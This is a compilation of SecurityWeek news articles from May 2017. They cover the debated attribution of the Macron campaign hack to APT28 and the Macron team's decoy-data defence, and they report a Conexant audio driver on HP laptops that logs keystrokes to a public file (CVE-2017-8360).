“After almost 20 years building forensic investigation software that is field-tested and court-proven, we find that the benefits of complete, bit-level visibility far outweigh the inconvenience of a very limited number of scenarios like this. If an issue does arise, it is something we work directly with the customer to resolve,” it added.


Who Hacked French President-elect Emmanuel Macron's Campaign?

11.5.2017 securityweek BigBrothers
One thing is clear. The campaign of French President-elect Emmanuel Macron was hacked prior to the French presidential election this last Sunday -- and the finger was immediately pointed at Russia's APT28 (Fancy Bear). Russia has been caught meddling in western politics once again.

Evidence of APT28 involvement seems to come from three sources: the U.S. National Security Agency (NSA), security researchers, and circumstantial. The NSA was quick to blame Russia via a Senate Armed Services Committee hearing on Tuesday this week. The head of the NSA, Admiral Mike Rogers, told the committee that the NSA had warned its French counterparts at the time of the hack: "Look, we're watching the Russians, we're seeing them penetrate some of your infrastructure." The Russians are here.

Evidence from security researchers focuses on two areas: phishing sites and leaked document metadata. One phishing site, apparently created by APT28 on March 25, 2017 and clearly designed for the Macron campaign, 'onedrive-en-marche-dot-fr', was reported by Trend Micro in April. Other sites apparently tied to the APT28 infrastructures include portal-office-dot-fr, accounts-office-dot-fr and mail-en-marche-dot-fr -- and another with the surprising name of totally-legit-cloud-dot-email.

The document evidence includes the discovery of Cyrillic characters within some documents apparently leaked by the hackers. WikiLeaks tweeted on Saturday (the day before the French presidential vote), "#MacronLeaks assessment update: several Office files have Cyrillic meta data..." The obvious assumption is that Russian APT hackers altered the files before leaking them.

But while clearly suggesting possible APT28 involvement in the hack, French security researcher x0rz has demonstrated that neither of these can be taken as actual proof. In a blog post on Tuesday, he demonstrated the ease with which anybody could edit metadata and pretend to be anyone. He went further to explain how "I setup my own domain mimicking some APT28 artefacts: totally-legit-cloud-dot-email that has been registered using the same information as another APT28 phishing domain used during the attack on EM staff... This domain (that I own) is now linked with actual APT28 infrastructure according to some threat intelligence OSINT tools" (eg, threatcrowd.org).

In other words, anyone could have established the APT28-related phishing domains, and anyone could have planted Cyrillic characters in the metadata. x0rz believes that all this proves is that it might have been APT28, but it might not have been APT28.

The circumstantial evidence is that the hack follows the basic pattern used by (what everybody believes to have been) APT28 in the US election hacks: phish for the emails of the candidate you want to lose, and then leak them. This evidence claims that since this is what APT28 does, and this is what Russia would want, then therefore this was done by Russia.

But the parallel is not perfect. The Macron hack occurred far later in the election campaign than the DNC hack; the phishing emails appear to be far clumsier; and the email leak occurred too late to have any effect on the election outcome.

The Macron campaign's answer to this is that they were expecting hackers, that they knew they would not be able to prevent a hack, and they prepared for it with what amounts to the 'deception defense'. The New York Times reported, "'We created false accounts, with false content, as traps. We did this massively, to create the obligation for them to verify, to determine whether it was a real account,' Mr. Mahjoubi [the campaign's digital director] said. 'I don't think we prevented them. We just slowed them down,' he said. 'Even if it made them lose one minute, we're happy'."

SecurityWeek talked to Kevin Eley, VP EMEA at TrapX, about the deception defense. In full, it amounts to the installation of a honeypot-like platform within the customer's infrastructure. Attackers are diverted towards the false shares, false databases, false structure -- and as soon as anything attempts to access them, the existence of an intruder is confirmed. The intrusion can then be tracked back to its source and the vulnerability closed. And if the intruder does manage to exfiltrate any data, it is false data.

"In the Macron hack," he told SecurityWeek, "the deception seems to be at the data level only." He confirmed that although this could not have been achieved by the campaign on the fly, it could have been done well in advance anticipating a hack. In other words, it can explain but does not prove why the leak occurred so late -- the attackers simply didn't know what to leak.

Just to confuse the issue further, Tyler Durden, discussing the Shadow Brokers' most recent leaks, writes today on zerohedge, "Inside the NSA dump among many other findings, we find hundreds of NSA attacks on China, as well as penetration attempts in which the NSA 'pretends' to be China so one wonders how difficult it would be for the NSA to pretend they are, oh, say Russia?"

So, who did hack Macron? The obvious conclusion is Russia; because Russia would benefit most from a Le Pen victory. But the timing of the document leaks was far too late to benefit Le Pen, and would more likely benefit Macron. The Occupy Movement could alternatively say that the 1% would benefit from an ex-Rothschild banker (Macron); just as they would benefit from a Republican president and a City of London not controlled by Brussels. It is not just Russia that has an incentive in meddling.

"As far as attribution related to the hacks Macron's campaign suffered, or the origins of the stolen documents," F-Secure researcher Andy Patel told SecurityWeek, "fingers are being pointed based on 'who would/wouldn't do something like this?' by people who don't have access to enough evidence to be 100% certain of anything."

The bottom line is that we do not know who hacked Macron, nor why. It might have had nothing to with discrediting Macron per se, but merely to add to the current confusion over real and fake news on the internet. "If it's information warfare -- rather than cyber warfare," suggests F-Secure security advisor Sean Sullivan, "then the point is not stealth. It's to make the point that your systems are under attack, your options are limited, and you always need to be on your guard. And there's nothing you or your leaders can do to stop us!

"Nothing is certain. But that's probably also exactly the goal of the information warfare, to get you to believe in nothing."


HP Laptop Audio Driver Acts as Keylogger

11.5.2017 securityweek Virus
A researcher discovered that a Conexant audio driver shipped with many HP laptops and tablet PCs logs keystrokes, making it easier for malicious actors to steal potentially sensitive information without being detected.

Thorsten Schroeder of Swiss security firm Modzero noticed that the MicTray64.exe application, which is installed on many HP devices with the Conexant audio driver package and registered as a scheduled task in Windows, monitors all keystrokes to determine if the user has pressed any audio-related keys (e.g. mute/unmute).

The problem is not that the keys pressed by the user are monitored. The problem, according to the expert, is that keystrokes are logged to a file in the Users/Public folder. Furthermore, keystrokes are passed on to the OutputDebugString debugging API, allowing a process to access the data via the MapViewOfFile function.

This leads to sensitive user data, including passwords, getting logged to easily accessible locations. A piece of malware could exploit the flaw to steal data without alerting antimalware products that look for suspicious behavior, the researcher warned.

“There is no evidence that this keylogger has been intentionally implemented. Obviously, it is a negligence of the developers - which makes the software no less harmful,” Schroeder said in a blog post. “If the developer would just disable all logging, using debug-logs only in the development environment, there wouldn't be problems with the confidentiality of the data of any user.”

The researcher pointed out that an earlier version of the MicTray64 app released in December 2015 did not log keystrokes to a file. This functionality was introduced in version 1.0.0.46, released in October 2016. It’s unclear if any of the logged data is being sent back to Conexant servers.

Modzero said the vulnerability, tracked as CVE-2017-8360, appears to affect 28 HP laptops and tablet PCs, including EliteBook, ProBook, Elite X2 and ZBook models. The security firm believes devices from other vendors that use hardware and drivers from audio chip maker Conexant could be affected.

SecurityWeek has reached out to both HP and Conexant for comment and will update this article if they respond.

Until a fix becomes available, users who are concerned with the application’s behavior have been advised by Modzero to delete the MicTray64 executable from \Windows\System32 and the MicTray.log log file from \Users\Public. One user has complained on Reddit that getting rid of the software, especially its registry keys, is not easy.

UPDATE. HP has provided the following statement: HP is committed to the security of its customers and we are aware of an issue on select HP PCs. We have identified a fix and will make it available to our customers.